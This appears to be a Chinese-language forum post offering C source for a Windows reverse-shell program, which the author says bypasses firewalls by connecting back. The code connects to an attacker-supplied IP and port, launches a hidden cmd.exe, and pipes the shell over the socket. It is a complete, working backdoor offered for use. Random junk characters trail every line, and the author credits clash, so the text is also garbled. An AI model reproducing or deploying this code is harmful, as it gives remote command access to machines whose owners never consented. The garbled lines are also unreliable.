这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 IXvz&4VD
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/* ============================== KM}4^Qc
Rebound port in Windows NT )]>G,.9C}
By wind,2006/7 QYfAf3te
===============================*/ ~}-p5 q2
#include uuYH6bw*d
#include #r.` V!=
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#pragma comment(lib,"wsock32.lib") yF5
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void OutputShell(); _:X|R#d
SOCKET sClient; * \o$-6<
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (1AA;)`Kp
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void main(int argc,char **argv) `JWYPsWk
{ ]~00=nXFM/
WSADATA stWsaData; Cxk$"_
int nRet; _Sgk^i3v
SOCKADDR_IN stSaiClient,stSaiServer; Uc_`Eh3y
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if(argc != 3) nj^q@h
{ %Mng8r
printf("Useage:\n\rRebound DestIP DestPort\n"); *76viqY;dE
return; _lPl)8k
} ?3,64[
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WSAStartup(MAKEWORD(2,2),&stWsaData); $wYuH9(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6+$d
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stSaiClient.sin_family = AF_INET; 40Qzo%eL
stSaiClient.sin_port = htons(0); mE^tzyh
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >!Ap/{2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \gp,Txueb
{ AO}i@YJth
printf("Bind Socket Failed!\n"); J`+`Kq1T
return; 9VUm=Z#`
} 5&HT$"H:
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stSaiServer.sin_family = AF_INET; RZd4(7H=q
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); YR|(;B
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \_gp50(3
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) WE 5"A|
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{ (Gi+7GMV'
printf("Connect Error!"); p&OJa$N$[
return; )7I.N]=
} 9xK4!~5V
OutputShell(); r ,3Ww2X-
} 6)#- 5m
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void OutputShell() //X e*0
{ EtR@sJ<
char szBuff[1024]; ^p"4)6p-W
SECURITY_ATTRIBUTES stSecurityAttributes; Nxbd~^j
OSVERSIONINFO stOsversionInfo; v?YdLR
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2H?I'<NoC
STARTUPINFO stStartupInfo; O^X[9vrW
char *szShell; vZ[$H
PROCESS_INFORMATION stProcessInformation; h;EwkbDQg>
unsigned long lBytesRead; SRt$4EL21
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %A)-m 69
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]cF1c90%
stSecurityAttributes.lpSecurityDescriptor = 0; I~p8#<4#b
stSecurityAttributes.bInheritHandle = TRUE; T6h;Y
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M^j<J0(O
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); wJ80};!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =bs.2aN&^
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0|+>A?E}E
stStartupInfo.wShowWindow = SW_HIDE; N?qIpv/a.
stStartupInfo.hStdInput = hReadPipe; -yX.Jv
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a.
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GetVersionEx(&stOsversionInfo); hAV2F#
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switch(stOsversionInfo.dwPlatformId) <@u0.-]
{ ftYR,!&
case 1: y#]}5gJ
szShell = "command.com"; OJMvn'y
break; 'R^iKNPs
default: >Hdjsu5{N
szShell = "cmd.exe"; LQh^;
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break; \e?.hmq
} #V<`U:.
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q{a#HnZo"
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send(sClient,szMsg,77,0); =y?#^
while(1) pG0!ALT
{ .D+RLO z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); V3##
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if(lBytesRead) T1l&B
{ jMK3T
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); n4^*h4J7
send(sClient,szBuff,lBytesRead,0); KuA>"X
} ?K0U3V$s
else 3"5.eZSOW
{ ;xL67e%?
lBytesRead=recv(sClient,szBuff,1024,0); R"NGJu9
if(lBytesRead<=0) break; 7nm}fT
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /Z:N8e
} dY1J<L}")
} rqF"QU= l
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return; <lFdexH"T
}